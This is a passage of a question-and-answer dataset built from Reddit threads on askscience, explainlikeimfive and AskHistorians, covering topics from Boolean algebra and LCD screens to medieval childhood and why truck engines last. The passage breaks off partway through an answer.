{"q_id": "2cyqxq", "title": "In a dark room when I can just make out the objects around me, are my eyes actually focussing on the object or somewhere in between?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2cyqxq/in_a_dark_room_when_i_can_just_make_out_the/", "answers": {"a_id": ["cjkmlrr"], "score": [2], "text": ["In low light conditions there is less light entering your eye and therefore you're only just able to see certain things. \n\nIn terms of being able to make out objects around you - your peripheral vision is more sensitive to light than the high information forward colour vision.\n\nThe cells which can detect light levels are generally more sensitive than the cells which detect intensity of colour based on different frequencies. The eye is arranged in such a way that the most detailed vision is concentrated in a small part in the centre and the rest is flanked by less detailed but more light sensitive cells.\n\nThis means you can see more basic light vs. dark in your periphery. A good example of this, is looking at the sky at night. You'll see more stars in the periphery than you will when you then look at a spot with your eyes in focus."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "284k7y", "title": "how do colors appear on calculator screen when pressing them?", "selftext": "I have been wondering how does rainbow of colors appear on black and white calculator when we press it?\nIt is somehow logical on normal screens that are made for all combinations of colors.\n\nSorry for bad grammar.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/284k7y/eli5_how_do_colors_appear_on_calculator_screen/", "answers": {"a_id": ["ci7c6ap", "ci7nh2j"], "score": [25, 2], "text": ["I don't know the process, but it almost certainly has to do with the polarizing effect of the liquid crystal.\n\nMy hypothesis is that the molecules (which reorient and stretch when current is applied) are being compressed in such a way that they filter certain wavelengths due to their shape.\n\nI'm going to use some google fu, and I'll report back if there's any merit to that hypothesis.\n\nEDIT: [BAM! RIGHT THERE!](_URL_0_)\n\nI can't believe I was so close. :D", "Basic info:\n\n* Non coloured calculator display is liquid crystal display\n\n* The crystals are sandwiched between two transparent plate and have a certain arrangement\n\n* The arrangement of liquid crystal allows it to have the ability to transmit light at certain direction when theres electrical current goes through the crystals and blocks light when theres no electrical current \n\n* The display is passive, which means it doesnt have a backlight. At the back of the display, there is a thin layer of mirror that reflects light from the environment\n\nWhy rainbow colours appear?\n\n* [Light disperse when it goes through a denser medium in comparison to air](_URL_0_)\n\n* When you press on the screen, you distort the arrangement of the crystal, which cause them to transmit abit of visible light which is reflected by the mirror at the back\n\n* This visible light / white light has no certain direction and propagates in all direction\n\n* A portion of this light is dispersed by the transparent plate and thus producing the rainbow colours"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://pubs.acs.org/doi/abs/10.1021/ed082p1360A"], ["http://2.bp.blogspot.com/-3-nzWU9CKWQ/U06GUwHYXQI/AAAAAAAAEbM/nH9PHrNFWkg/s1600/dispersion-of-white-light.gif"]]}
{"q_id": "3r5jzv", "title": "boolean algebra", "selftext": "Since it's George Boole's 200th birthday and he has been honoured by a Google Doodle, can someone explain the Google graphic to me in terms of Boolean Algebra and how it relates to computing today?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3r5jzv/eli5_boolean_algebra/", "answers": {"a_id": ["cwl32z1", "cwl3fps", "cwlaaet", "cwlaex1", "cwldd66"], "score": [7, 26, 6, 2, 5], "text": ["The doodle has two big black circles, the top one representing x, and the bottom one y. When the circle is empty, it is false or 0. When it shows the letter, it is true or 1. Each letter of \"Google\" has a Boolean expression associated with it. When the expression is true, it is colored. When it is false, it is grey.\n\nThe four Boolean operations that are used are AND, XOR, OR, and NOT.\n\nx AND y is true when both x and y are true, and false otherwise.\n\nx XOR y (exclusive or) is true when either x or y is true, but not both. It is false when x and y are either both true or both false.\n\nx OR y is true when either x or y is true, or both. It is false when they are both false.\n\nNOT x is the inverse of x (NOT true is false, NOT false is true). Same for NOT y.\n\nBoolean logic is very important to computer architecture, because in hardware data is stored as bits (true or false values). All the operations in a computer is implemented in circuits through logic gates like AND, OR, NOT, and XOR.", "Can we represent logical expressions in algebraic equations? If we think of algebra and mathematics as an abstraction of logic, then absolutely. \n\nBoole broke down logic into two cases. True and false. He then recognized the logical operations, and, or, and not. As in \"if Jimmy is hungry and it's lunchtime, he eats lunch.\" Eating lunch is true if the case that he is hungry AND it is lunchtime are true. \n\nWhat's so cool is that very complex operations, including math itself, can be broken down into logical statements of true and false and the logical operations. Around the 1920s we figured out we could use circuits to represent logic, and then use boolean algebra to design those circuits. Now we have super computers. ", "Big edit: conundorum linked me the image, so I can get into it. Thank you conundorum :D\n\nSo imagine normal algebra as a simple y  = ax + b, with y your dependent variable, x the independent, and a and b some constants. Plug in x, you get a y. With boolean logic, we have more than your usual arithmetic; we also have AND, OR, XOR, and NOT. In addition, we don't use numbers but instead TRUE and FALSE (all of these caps imply their logical meaning, not the coloquial one). TRUE is the opposite of FALSE, and vice versa.\n\nLet's also use another output - say, a letter in Google. We'll have two inputs: X and Y. What we want to do is light up the letters that have TRUE, and dim those that are FALSE. If X is TRUE, we'll show X, and the same with Y. We want to know all the outputs we can possibly get, so we need to use all of the possible inputs. We'll do it like this: XY, X-, -Y, -- for TT, TF, FT, FF. The logical stuff each have their own 'truth table', but generally it's like this: AND will output G only if X and Y are lit. XOR will output O only if the inputs are different; e.g. ONLY X or ONLY Y. OR will output the next O if at least one of the inputs is lit up. NOT only takes one input, so if the X is not lit, the L will light up. If Y is not lit, the E will light up.\n\nThere's a computer (now mostly just a simulated computer) called the [LC-3 (Little Computer 3)](_URL_1_). It has 15 commands, and anything you want to do need to be done with only those commands and 1's and 0's.\n\nBoolean algebra falls down to the question of \"how can we do math with only two numbers and two operations.\" A few people found that using the fewest transistors (engineers love efficiency) we can make a NOT (change the 0 to a 1 or vice versa) and a NAND (put out a 0 if all inputs are 1). Another guy, [De Morgan](_URL_0_), found that using these two things, you can make AND, OR, XOR, NOR, whatever you want. A few other guys went on to combine these things so that you can actually add numbers together.\n\nNow that you can perform math with logic, you've moved from Boolean Logic to Boolean Algebra. It's basically regular algebra, with only two digits {0, 1}, two operations {+, x}, and NOT {negative sign}.\n\nEdit: Forgot my NAND truth table, you all understand", "The X and Y are inputs. The letters in 'Google' each represent the output of the Boolean function below. \n\nFor example, [X *and* Y] is on whenever X and Y are both on. The tricky one is Xor, short for Exclusive Or. It will be on whenever X or Y is on, but not both.\n\nThe relevance to computing, is that numbers can be stored in binary formats, and all manner of operations can be performed on them. Tiny electronic components perform each of these Boolean functions, and those are composed into more elaborate functions, such as arithmetic.", "First, note that in boolean algebra, the only values are true and false.  (In computers, these are represented by 1 and 0, respectively.)\n\n*x* AND *y*: If *x* is true AND *y* is true, then this is true.\n\n    1 AND 1 = 1\n    1 AND 0 = 0\n    0 AND 1 = 0\n    0 AND 0 = 0\n\n*x* XOR *y* (exclusive or): If either *x* or *y* is true, but they aren't both true, then this is true.  Alternatively, if *x* is different than *y*, then this is true.\n\n    1 XOR 1 = 0\n    1 XOR 0 = 1\n    0 XOR 1 = 1\n    0 XOR 0 = 0\n\n*x* OR *y*: If either *x* OR *y* is true, then this is true.\n\n    1 OR 1 = 1\n    1 OR 0 = 1\n    0 OR 1 = 1\n    0 OR 0 = 0\n\nNOT *x*: This is equal to the opposite of *x*\n\n    NOT 1 = 0\n    NOT 0 = 1\n\nNOT *y*: See NOT *X*.\n\n\nNow, as to how this relates to computing, data can be stored in two states, \"on\" or \"off\" (as in, either there's something there, or there isn't).  This means the most easily usable way to store information is as binary data, where every digit is either 0 or 1.  [For example, the number 32 is actually stored as 00100000, and 151 is stored as 10010111; letters and other symbols are stored as numbers (which number represents which character is defined by a standard like ASCII or Unicode), which are themselves stored as binary values.]  As a result, boolean algebra is simple for a computer to do, simply by comparing these binary values.\n\nAdditionally, most, if not all, branching can be boiled down to conditional checks.  And no matter how complex a conditional check is, or how many branches it has, it can be boiled down to a series of **if** statements equal to the number of branches.  This allows the computer to apply logic to determine which branch to use (if the condition for branch 1 is true, go to branch 1; if it's false, test branch 2).  Basically, everything boils down to boolean logic when the compiler rewrites it for the computer to understand.\n\n[For example, if a program needs to allocate memory, then the procedure to do so will check to make sure that the memory is allocated; if it is (true), then the program can do what it was going to, but if it wasn't (false), then it has to try again or stop doing what it's doing.]\n\nConsider this: If you only knew how to add and subtract, but didn't know how to multiply or divide, you would multiply by repeatedly adding, and you would divide by repeatedly subtracting.  Computers operate on the same principle, turning complex operations into a series of simply yes-or-no operations that can be handled by something that can only work with binary values.\n\n(Edited to fix \"0 OR 0\".  Thanks for catching that, jamneister. xD)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Augustus_De_Morgan", "https://en.wikipedia.org/wiki/LC-3"], [], []]}
{"q_id": "241k7a", "title": "Did trade continue between cities in Western Europe in the century following the fall of the western Roman Empire? Would merchants have continued to use the roman roads?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/241k7a/did_trade_continue_between_cities_in_western/", "answers": {"a_id": ["ch2plc0"], "score": [17], "text": ["Yes, trade continued, although it was lessened.\n\nFrom the late fifth century onward, the mass exploitation of natural resources ceases. The great mines in England and Switzerland shut, and are replaced by local, smaller-scale production. As the European population shrinks, we see less land under cultivation and forests starting to regrow (a process which begins to reverse itself in the late 7th c). By the end of the sixth century, the *annona* - the grain shipments from Egypt to Rome - have ceased, and by the end of the seventh century, the Mediterranean is no longer a Roman (or even a Christian) lake. \n\nHowever, we still have a great deal of evidence for long-distance trade, particularly in luxury goods. Several Merovingian burial shrouds have been found embroidered with silk, for example. There is also substantial evidence for the continued trade in slaves, particularly to and from central Europe. The local artisan communities which spring up also become relatively wealthy. One such community of smiths located in the Jura (now Switzerland) was not only raising animals to be eaten at a relatively young age (a sure sign of wealth) but also receiving goods from across Gaul.\n\nWith respect to the use of roads, I'm hesitant to go into particular detail because the work I'm thinking of is still unpublished, but it should suffice to say that there is a slow transition away from roads and to the rivers as a means of transportation. This shift is mostly complete by the 8th century. However, the major roads not only continued to be used, but they still are in use today! If you look at [this map](_URL_0_) and change the background layer to google streets, you can clearly see that many modern highways closely follow the paths of known Roman roads.\n\nSome sources  &  further reading:\n\n**The definitive book on the early Medieval economy:**\n\n* McCormick, Michael. Origins of the European Economy: Communications and Commerce A.D. 300-900. Cambridge: Cambridge University Press, 2001.\n\n**One of the first discussions of Mediterranean trade in late Antiquity:**\n\n* Pirenne, Henri. Mohammed and Charlemagne. New York: Norton, 1939.\n\n**Pollen data for the regrowth of forest, etc:**\n\n* R\u00f6sch, Manfred. \u201cHuman Impact as Registered on the Pollen Record: Some Results from the Western Lake Constance Region, Southern Germany.\u201d Vegitation History and Archaeobotany 1 (1992): 101\u20139.\n\n* Gauthier, Emilie, and Herv\u00e9 Richard. \u201cLa for\u00eat jurassienne au cours des deux derniers mill\u00e9naires \u00e0 la lumi\u00e8re de quelques diagrammes polliniques.\u201d In La m\u00e9moire des for\u00eats: Actes du colloque For\u00eat, arch\u00e9ologie et environnement 14-16 D\u00e9cembre 2004, edited by J.L. Dupouey, E. Dambrine, and C. Dardignac, 57\u201367. Nancy, 2007.\n\n**The archaeology of iron working in the 6-7th c. Jura:**\n\n* Fellner, Robert O., Ludwig Eschenlohr, Reto Marti, Maruska Federici-Schenardi, and Michel Gu\u00e9lat. Develier-Court\u00e9telle, un habitat rural m\u00e9rovingien. Vol. 13\u201317. 6 vols. Cahiers d\u2019arch\u00e9ologie jurassienne. Porrentruy: Office de la Culture\u202f:Soci\u00e9t\u00e9 jurassienne d\u2019\u00c9mulation, 2004.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://darmc.harvard.edu/icb/icb.do?keyword=k40248&amp;pageid=icb.page188868"]]}
{"q_id": "4j51rn", "title": "Earthquake Monitors at Bottom of Marianas Trench?", "selftext": "Hi, So I recently have been looking at alot of videos on tsunamis, particularly the one that almost hit Guam back when my family was stationed there in 2011. An that led to Earthquakes. Which led to me reading about Earthquake monitoring technology. From my understanding Earthquakes develop deep into Earths crust and the upper mantle. And the majority of them originate in the pacific ocean. From my current knowledge Earthquakes can only be predicted minutes before they happen, And there are a few ways that they can be predicted, most of which rely on fault lines. My proposal is to place monitoring devices along the Marianas Trench, the deepest point on Earth, I understand that there is immense pressure down there, but we have made strong enough cameras to dive to challenger deep before so I assume this would be possible. The trench is much deeper than other fault lines and in theory should give much more response time to pacific islanders, and possibly enough for a helicopter to catch footage of a Tsunami formation, something that has never been caught before up close. Please let me know if my reasoning is completely flawed or if this is already happening, I'm only 14 so there's a good chance I'm completely wrong :)\n\nTL:DR I have an idea to place Earthquake monitoring devices along the Marianas trench to give more Earthquake response time to Pacific Islanders.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4j51rn/earthquake_monitors_at_bottom_of_marianas_trench/", "answers": {"a_id": ["d344hat"], "score": [10], "text": ["It's an interesting idea, but it would likely not be very effective, at least on its own, and in a way we already do this. Let's start with some basics on earthquakes. The majority of earthquakes do occur in the crust and in fact most of those occur in the upper crust (0-20 km depth) and really the only time you have high rates of earthquakes occurring deeper than that is along [subduction zones](_URL_1_). Earthquakes occur [all over the world](_URL_3_), the highest rates occurring along the boundaries between tectonic plates. The boundaries of the Pacific plate are particularly hazardous because many of these are subduction zones, which means that they are capable of producing larger earthquakes than other boundary types (like strike-slip, e.g. the San Andreas or divergent, e.g. the Mid-Atlantic ridge) and because they can produce large earthquakes with large vertical motion of the ocean's floor, that can then produce large tsunamis.\n\nIn terms of 'predicting' earthquakes, we can't. I believe what you're thinking of are early warning systems, like the [one in Japan](_URL_5_) or the one being tested in [California](_URL_0_). Importantly these don't predict earthquakes, it's an interconnected network of seismometers and communication systems so that if one seismometer in the network detects an earthquake it immediately notifies a central system which can in turn warn other areas that will soon feel the earthquake. This only works because the combined speed of communication and decisions (e.g. is this an earthquake that will actually be felt, which way are the waves propagating, etc) is greater than the speed at which the earthquake waves move through the crust.\n\nThis brings us to your idea. Let's leave aside technical challenges of placing an [ocean bottom seismometer](_URL_2_) in extremely deep water and think about what it would tell us. For it to be useful, this device would (1) need to be able to detect an earthquake before it reached a populated place and (2) communicate said information in a timely fashion. Considering [the location](_URL_7_), this might work if there was an event on the Marianas itself, but wouldn't necessarily be useful for tsunamigenic earthquakes on other subduction zones (e.g. if we were thinking about Guam, a tsunamigenic earthquake on any of the faults to the west of Guam would only be detected by this device in the Marianas *after* seismometers on Guam would detect it). \n\nThere is already a [tsunami early warning system](_URL_4_) in place for the Pacific. These systems are imperfect, but have been [gradually developing and improving, primarily in fits and starts in response to specific destructive tsunamis](_URL_6_). They consist of interconnected networks of seismometers but also tide gauges to identify potential tsunamigenic earthquakes and actual tsunamis before they impact coastal areas. Ultimately, the largest barrier to these warning systems is cost and cooperation (e.g. getting different countries with monitoring equipment to link things so that data is transferred rapidly). Ocean bottom seismometers are parts of these networks, but these are expensive (in all senses, expensive to build, expensive to install, and expensive to maintain) so these are still a relatively rare beast. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://earthquake.usgs.gov/research/earlywarning/", "https://en.wikipedia.org/wiki/Subduction", "http://www.whoi.edu/instruments/viewInstrument.do?id=10347", "http://web.mst.edu/~sgao/g51/plots/0916_global_seismicity.jpg", "http://earthweb.ess.washington.edu/tsunami/general/warning/warning.html", "https://en.wikipedia.org/wiki/Earthquake_Early_Warning_%28Japan%29", "https://en.wikipedia.org/wiki/Tsunami_warning_system#History_and_forecasting", "https://en.wikipedia.org/wiki/Mariana_Trench"]]}
{"q_id": "2qbg58", "title": "Were Ottoman incursions in East Africa colonial in nature, or merely imperialistic? Can Russian expansion into Siberia be considered colonial in nature?", "selftext": "So obviously the term colonial brings up a picture, in Western minds, of Spain in South America, England in North America and the like. How did Ottoman and Russian policies compare?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2qbg58/were_ottoman_incursions_in_east_africa_colonial/", "answers": {"a_id": ["cn4o2d6", "cn4pg5n", "cn4qqo5"], "score": [10, 5, 13], "text": ["I can't answer your question on Ottoman colonization/imperialism since I don't know much about the Ottomans. However, I can attempt to answer your question on Russian expansion into Siberia. \n\nThe spread of the Russian tsardom and empire into Siberia can be considered colonialism. After the Russians conquered and subjugated the various Siberian peoples, they were quick to exploit the various natural resources found in the region (such as furs, lumber, and minerals). To protect these lands from Chinese expansion and angry Siberian tribes, the Russians created forts and outposts. The Russian government ordered many Slavic peoples to settle these outposts and forts to guard against any foreign threat. Initially, it was mostly the warlike Cossacks that inhabited Siberia and protected it from foreign threats. However, many people who were considered undesirable by the Russian government were sent to Siberia to help increase the population there and to keep them far away from civilization. This included political prisoners, murderers, thieves, and rapists. These policies are very similar to that of British colonialism, who resettled Australia by sending criminals over. \n\nThe Russians also massacred many of the indigenous peoples of Siberia. Ethnic groups such as the Yakuts, Itelmens, and Chukchi were just some of the people who were slaughtered, raped, and forced to integrate within the Russian empire by colonialists. This type of behaviour is the same amongst Western empires. The British, French, and Spanish all violently destroyed the various Native American tribes of North America in order to incorporate these lands into their empires. If Russian expansion into Siberia is not considered colonialism, I don't know what is.", "What Ottoman incursions are you talking about? The furthest they ever got in East Africa were a few coastal towns in today's Eritrea.\n\nMaybe you're referring to Oman/Zanzibar's 19th century East African Empire?", "How are you differentiating between \"colonial\" and \"imperialistic\"? \n\nThe British in India, Africa, Burma, did not settle these lands with British colonists and displace the native inhabitants.  Still, these territories were generally called British Colonies, and also parts of the British Empire.\n\nIt's hard to see what the difference was between colonialism and imperialism?\n\nThe Ottomans attempted to conquer Christian Ethiopia in East Africa (and were close to succeeding when Portuguese aid unexpectedly arrived).  Was this imperial expansion, colonial expansion, holy war?\n\nThe Ottomans certainly colonized the former Byzantine Empire both by \"imperial conquest\" and by moving in settlers.  Their expansion into the Balkans could also be said to be both colonial and imperial.\n\nNot sure if there is any difference?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2uimkp", "title": "Did people in the Middle Ages feel as strongly for their children as people do today?", "selftext": "I know a few people today who lost a child at a young age.  Most of them took years to recover and they were never really the same.  As I understand it, back then it was expected that you would lose at least one child if not several.  Did people then avoid getting attached to babies?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2uimkp/did_people_in_the_middle_ages_feel_as_strongly/", "answers": {"a_id": ["co8ucca", "co8udsp", "co957un", "co9lnt0"], "score": [144, 217, 4, 6], "text": ["I read a book called Marriage and the Family in the Middle Ages that tackles just this topic actually\n(Here's the book: _URL_3_)\n\nBasically, the idea that people didn't care about their kids as much as a defense mechanism for when the kids eventually died has been put forth before by historians (Mainly Philippe Ari\u00e8s). This idea has kind of fallen out of favor, instead with the leading theory being that pragmatism looks like indifference to modern eyes.\n\nPeople bought and made their children toys, had special clothes made for their kids, and I've personally read a text or two from Mad Princes of Renaissance Germany about people losing someone they love and then becoming rather unstable. One minor noble in particular was never the same after losing his wife and child. \n\nIf you're willing to let me stretch the time period a bit, in 1572 after the St. Bartholomew's Day Massacre some of the propaganda written was about how terrible Catholics were for killing babies.\n\nSources:\n_URL_3_\n\n_URL_0_\n\n_URL_1_\n\n_URL_2_\n\nEdit: Sorry, hope that's readable. I'm in a bit of a rush", "This is a question debated by historians in the last 50 years. It was a French historian Philippe Aries who first studied the history of childhood in depth. His main conclusion is that the concept of childhood was not known until the late 17th century. He claimed that earlier children were seen as miniature adults and were handled as such. In his book, he shows examples how parent-children relationship was distant in many ways, e.g. it was common that children were sent away to live with an other family as squires, apprentices or servants. That is why family connections were less important than peer connections. Aries' account is full of examples and very interesting but it is widely criticized. Since the 1960s historians have found several data to refute his thesis and there are indeed several sources which show that in the Middle Ages, parents cared about their children just as much as they do nowadays. Nevertheless, studies of traditional societies showed that childhood was interpreted differently in pre-modern era. Just think about child labour or child marriage. On the topic of death and grief, there are studies too, from which I'd mention Arthur E. Imhof's Lost Worlds: How Our European Ancestors Coped with Everyday Life and Why Life Is So Hard Today. It is based mainly on early modern German documents but in a way, I think he answers your question. He points out several factors why our ancestors coped better with death, and most of them can also be found in psychological studies. First of all, before the 20th century, death was more part of our life. From early  childhood, everybody lost someone, watched them die and took part in the proceedings after death. Imhof has a very descriptive term \"the black wall of death rate\". There is a graph in his book showing death rates by age in pre-modern and modern societies. Earlier when child death was very frequent, the black wall of the graph was behind those who survived. Nowadays when fortunately most children survive and we live longer, the black wall of the diagram is in front of us which increases the stress. In addition, Imhof demonstrates other factors as well - he points out that faith, grief rites and customs, traditional family links helped those who lost children and in general, decreased the fear of dying. He also thinks that in many ways, earlier societies were less individualist and therefore survival of the family was more highly valued than survival of the individual. Finally, I think while most people coped with the death of their children, losing a child has never been easy, accounts of grief stricken mothers and fathers, mummified child corpses, paintings of dead children  can attest to it.  ", "I would like some expansion on your question: how do you 'understand' this idea? Can you help me with some information as to how you have this idea?\n", "In the medieval, middle English poem \"How the Goode Wife Taught Hyr Doughter\" (the earliest manuscript being from the 14th century but I've read was widely circulated) contains in some manuscripts lines which address this. The whole poem is a didactic \"manual\" for how a woman should act, specifically towards her husband, but one version contains lines that say (giving my own very, very poor translation) \"and if it happens that friends fall away on every side and God from you your child takes do not take a grievance on God for it will undo thyself\" and basically that this is a way many \"wyll undo\" themselves.\n\nIt's not most definitive line, but it gives credence to the idea that losing a child is something that could cause people to take a grievance against God, so there is some implied attachment there. In other words, if it was normal to not feel attached to children, why would you need to warn women about not taking it too hard? It was also not in every manuscript, so it may have been something of a \"touchy subject\", and the book I have with this passage gives other \"child raising lines\" that appear in some manuscripts but not others. \n\nSource: \"The Trials and Joys of Marriage\" edited by Eve Salisbury (a TEAMS Middle English Text Series that can be found online if you want the original source.) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.representingchildhood.pitt.edu/medieval_child.htm", "http://www.the-orb.net/non_spec/missteps/ch6.html", "http://www.amazon.com/Princes-Renaissance-Germany-Studies-History/dp/0813915015/ref=sr_1_1?ie=UTF8&amp;qid=1422896433&amp;sr=8-1&amp;keywords=mad+princes+of+renaissance+germany", "http://www.amazon.com/Marriage-Family-Middle-Ages-Frances/dp/0060914688"], [], [], []]}
{"q_id": "603ud2", "title": "why do we (and other chordates, for that matter) have our respiratory organs on our head instead of torso, which would make a shorter path to lungs?", "selftext": "Also, why have a centralized respiratory system with lungs and a single airway in the first place instead of having many breathing holes all over the body, like insects do?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/603ud2/eli5_why_do_we_and_other_chordates_for_that/", "answers": {"a_id": ["df38joa", "df38ksy", "df3bkuf", "df3bng5", "df3btj6", "df3ckpi", "df3ff8r", "df3gk5b", "df3kslw", "df3mpfd", "df3qtau"], "score": [244, 58, 355, 16, 5, 21, 2, 7, 2, 5, 256], "text": ["First, bear in mind that evolution almost *never* finds the optimal solution to a problem. It's a process of luck and survival, so a lot of \"good enough but not great\" features are present.\n\nSecond, consider the body shapes of ancestor species. Sometimes a feature earned its location in some older species where that location provided a huge advantage -- and then no mutation occurred to provide an updated, different location later.", "Well we need more airflow than insects. An ant the size of a horse would need hurricane-force winds to breathe enough. That's why we can't breathe like insects.\n\nAs for why our airholes are on our heads, that's because fish have to pull in water to breathe. They just used the hole they already had, which was their mouth.", "Interesting question.  Openings to the body create other issues, one being the maintenance of a sterile environment inside the body.  All of them can be pathways for infection to enter the body.  The respiratory \"tree\" is lined with cilia that move mucus up to the throat, then it is swallowed into the stomach, where stomach acid kill any bacteria.\n\nAlso, having a single airway allows us to use the air for speech generation (larynx), which has been vital in the development of human culture, but also important for almost all chordates.  Having some dead space in the respiratory tree also allows for the air to be warmed as we inhale and for decreasing respiratory water losses due to evaporation.  Consider also that we use the same upper airway system (well, the oropharynx anyway) for eating and drinking, which minimizes the number of openings to the outside.", "A centralized respiratory system allows organisms to get larger as their need for oxygen increases dramatically. It has 2 major advantages for allowing greater ventilation: First, it is much more simple to achieve active ventilation as you only need only one muscular system and second, the diameter is factored to the power of 4 for air flow volume which means there is far less resistance with greater air flow making it far easier to breath large volumes of air.\n\nAs for the location of the opening, u/2074red2074 already said all the other chordates developed from primal fish which used gills to breath. So further development basically let the original location stay the same and morphed gills into lungs and moved them into the torso with a longer pipe there. ", "I imagine having the intake higher up means you can wade through deeper waters as you try to get away from that predator.\n\nEdit: you also need air for proper functioning of taste buds, listening apparatus, and voice. So it makes sense the air canal would be closer to those parts.", "An essay question on the Final Exam for a Comparative Anatomy class I once took has the root of your answer in it: \"Diagram the vascular structure of the gill arches of a shark and then show transitional structures to arrive at the Aortic Arch in you own chest.\"\n\nWe have our respiratory system associated with our heads because our earliest chordate ancestors had their gills there. Evolution is a matter of adaptation of existing structures.", "Evolution doesn't \"seek\" anything, so you shouldn't be surprised that we are not \"designed\" in any kind of \"optimally efficient\" ways.", "Your air-holes have many advantages in this location. The redundancy of two nostrils and a mouth for breathing, help when you are asleep. If you roll over in your sleep with holes on the torso, you wouldn't be able to breathe, or adjust quickly to keep from choking. The neck allows for quick adjustment in almost any situation. Also your nose needs to be able to move with your ears and eyes to allow you to stay subconsciously vigilant about keeping your airways open and avoid things getting in there all day.", "Because the first invertebrates were fish, and we're descended from them. Because our ancestors primarily breathed through their gills, we developed wet lungs and began to breath through the mouth while our gills mostly disappeared. It's a much easier development from fish-like to man-like breathing apparatus than it is for fish-like to having a mouth directly on our lungs. ", "The way my Bio teacher puts it, natural selection isn't actually the survival of the fittest. It's the survival of the just barely adequate. There are a lot of physical characteristics that could be easily improved on in humans that just don't happen because we can live at least long enough to pass our genes along to the best generation (i.e. humans have the muscles to move our ears but they're small and weak)", "Biologist here.  Some of the other answers hit around the reason, but none that I see yet tell the whole story.\n\nFirst, you have to understand how traits arise.  Mutations happen in the DNA of animals.  If the mutation helps, it spreads.  If it hurts, it doesn't.  But the mutation has to actually _happen_ in the first place.  A mutation to make slight changes is more likely than one that creates a whole new thing out of nothing.\n\nSo, early vertebrates breath using gills, getting oxygen from the water.  They also have nostrils, and these are used for smelling chemicals in the water.  In some fish, these nostrils connect to the roof of the mouth, so the fish can smell what it's eating.\n\nEventually, some fish move into shallow, stagnant waters. There's not a lot of oxygen there, so they start gulping air at the surface.  Goldfish do this today, even. It works a little bit even if all you have is gills.  Some fish progress to swallowing air down into the gut, which is highly vascularized and can take in oxygen even better.  Some then develop pouches off the gut...which wind up being lungs.  So eventually these fish are gulping down air to their lungs, but some also take air in through those nostrils, which remember connect to the roof of the mouth/throat.  That way they don't have to stick their whole head out of the water to take in air, just the tip of the snout.\n\nNow some fish eventually wind up transitioning into tetrapods, aka land animals.  These just carry along the system that existed before, breathing through mouth and nostrils, but modifying it to be ever more efficient.  So why don't they sprout a bunch more holes all over their body to take air directly to the lungs?  They never have the chance, because a) mutations that cause holes all over the body leading to the lungs just aren't likely  b) they'd probably kill an animal outright if they _did_ happen and c) even if they weren't deadly, it's unlikely they'd work better than the fine-tuned preexisting nose-and-mouth system. \n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2wg56s", "title": "why can semi trucks go for a million miles while most cars struggle after 200,000?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wg56s/eli5_why_can_semi_trucks_go_for_a_million_miles/", "answers": {"a_id": ["coqhvg5", "coqhxug", "coqi1pk", "coqiczs", "coqlkyf", "coqlpmm", "coqmspq", "coqna9l", "coqnl68", "coqnrfv", "coqo2xl", "coqoafy", "coqocsk", "coqofpj", "coqojon", "coqomjm", "coqp9jw", "coqpl4n", "coqpypt", "coqqxac", "coqrd6j", "coqrkbh", "coqs6bx", "coqs7yx", "coqs8rg", "coqseia", "coqsezb", "coqtcg0", "coqtpb7", "coquc3s", "coqufzm", "coqut23", "coquvko", "coqv8i3", "coqvrdv", "coqvvof", "coqw4v2", "coqw7c4", "coqwjwh", "coqwm8e", "coqx425", "coqxvhn", "coqxza8", "coqy4xs", "coqybrt", "coqyd10", "coqz90r", "coqz9sd", "cor045z", "cor0hm5", "cor11di", "cor19i4", "cor1oxt", "cor1rfz", "cor1tg3", "cor22vn", "cor2603", "cor2k3y", "cor2o4l", "cor3d7i", "cor3ek8", "cor3fg6", "cor3t30", "cor3t9p", "cor3tww", "cor3vdj", "cor3xm8", "cor436n", "cor4bbs", "cor4bsf", "cor4dcq", "cor4k7d", "cor5114", "cor58cp", "cor58mp", "cor5eol", "cor5gso", "cor5wnl", "cor6asj", "cor6i85", "cor6j0g", "cor79ci", "cor7fs4", "cor85fr", "cor88uw", "cor8ir2", "cor8r49", "cor93w4", "cor9lsi", "corchpb", "corcu3t", "cordjj1", "cordl35", "cordr1z", "core0xa", "corfqu3", "corgh62", "corgkro", "corh8hd", "corheqc", "corhiv6", "cork91z", "corkhay"], "score": [3, 92, 17, 4040, 193, 5, 609, 2, 19, 13, 10, 2, 1208, 4, 10, 17, 3, 2, 2, 71, 2, 2, 17, 2, 2, 2, 9, 2, 24, 2, 2, 3, 2, 2, 2, 2, 7, 2, 2, 7, 5, 2, 9, 2, 2, 3, 2, 2, 2, 2, 2, 2, 3, 3, 5, 7, 2, 2, 3, 2, 2, 2, 2, 2, 6, 11, 3, 3, 2, 2, 2, 3, 4, 2, 2, 3, 6, 6, 2, 4, 2, 3, 6, 3, 2, 4, 5, 2, 2, 2, 3, 2, 2, 3, 2, 2, 4, 2, 2, 2, 2, 3, 2], "text": ["With proper preventive maintenance, good care of your engine, and *frequent oil changes*, most cars wouldn't struggle.  ", "Well for one, an OTR (semi) will spend 99.95% of its moving life going down the highway, which is probably the easiest type of driving on a vehicle there is. Diesels are also alot tougher and more reliable than a gasoline car is, the tolerances in the engines are lower and the transmissions are tougher as well. ", "Also, semi trucks are diesel engines, which run much cooler than gasoline engines. Heat is the real killer, not so much mileage, think of mileage as a time stamp...how 